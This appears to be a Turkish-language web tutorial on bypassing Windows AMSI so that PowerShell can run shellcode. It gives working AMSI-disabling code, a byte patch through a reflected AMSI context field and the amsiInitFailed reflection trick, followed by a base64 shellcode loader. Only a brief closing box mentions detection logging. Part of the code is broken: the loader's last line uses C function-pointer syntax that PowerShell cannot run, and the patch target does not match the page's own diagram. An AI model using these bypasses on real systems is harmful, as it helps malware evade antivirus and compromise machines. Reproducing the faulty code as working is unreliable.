Windows/x64 AMSI Bypass Shellcode - PowerShell AV Evasion

<div class="space-y-8 text-slate-800 font-sans leading-relaxed">

  <div class="border-l-4 border-red-500 pl-5 py-3 bg-red-50/60 rounded-r-xl">
    <p class="text-xs font-bold uppercase tracking-widest text-red-700 mb-1">Modern Teknik - Windows x64 - AMSI Bypass</p>
    <h2 class="text-2xl font-extrabold text-slate-900 leading-tight">Windows/x64 AMSI Bypass - PowerShell'den Shellcode Calistirma</h2>
    <p class="text-sm text-slate-600 mt-2">AMSI (Antimalware Scan Interface), Windows 10 ile gelen ve PowerShell gibi script motorlarinin calistiracagi kodu antivirusu motoruna gondermesini saglayan mekanizmadir. AMSI'yi devre disi birakmak PowerShell tabanli shellcode'un onundeki en buyuk engeli kaldirir.</p>
  </div>

  <div>
    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">AMSI Nasil Calisir</h3>
    <div class="bg-slate-900 text-slate-300 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
[PowerShell komutu calisti]
  AmsiScanBuffer() cagrisi  <-- Bu fonksiyonu patch ediyoruz
  AV motor taramasi
  AMSI_RESULT_CLEAN / DETECTED
    </div>
  </div>
  <div>
    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">PowerShell AMSI Patch</h3>
    <div class="bg-slate-900 text-cyan-300 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
$a=[Ref].Assembly.GetTypes()|?{$_.Name -like '*Ams*'}
$b=$a.GetFields('NonPublic,Static')|?{$_.Name -like '*Context*'}
$c=$b.GetValue($null)
$d=[IntPtr]$c
[Runtime.InteropServices.Marshal]::Copy(
  [Byte[]](0xB8,0x57,0x00,0x07,0x80,0xC3),0,$d,6)

# Alternatif: amsiInitFailed = true
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').
  GetField('amsiInitFailed','NonPublic,Static').
  SetValue($null,$true)
    </div>
  </div>
  <div>
    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">AMSI Sonrasi Shellcode</h3>
    <div class="bg-slate-900 text-cyan-300 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
$sc = [Convert]::FromBase64String("BASE64_SHELLCODE_HERE")
$mem = [Runtime.InteropServices.Marshal]::AllocHGlobal($sc.Length)
[Runtime.InteropServices.Marshal]::Copy($sc,0,$mem,$sc.Length)
((void(*)())$mem)()
    </div>
  </div>
  <div class="bg-red-50 border border-red-200 rounded-xl p-4"><p class="text-xs font-bold text-red-800 mb-1">SAVUNMA Tespit</p><p class="text-xs text-red-700">PowerShell Script Block Logging Event ID 4104 aktiflestirilmeli. Sysmon Event ID 8 (CreateRemoteThread) izlenmeli.</p></div>
</div>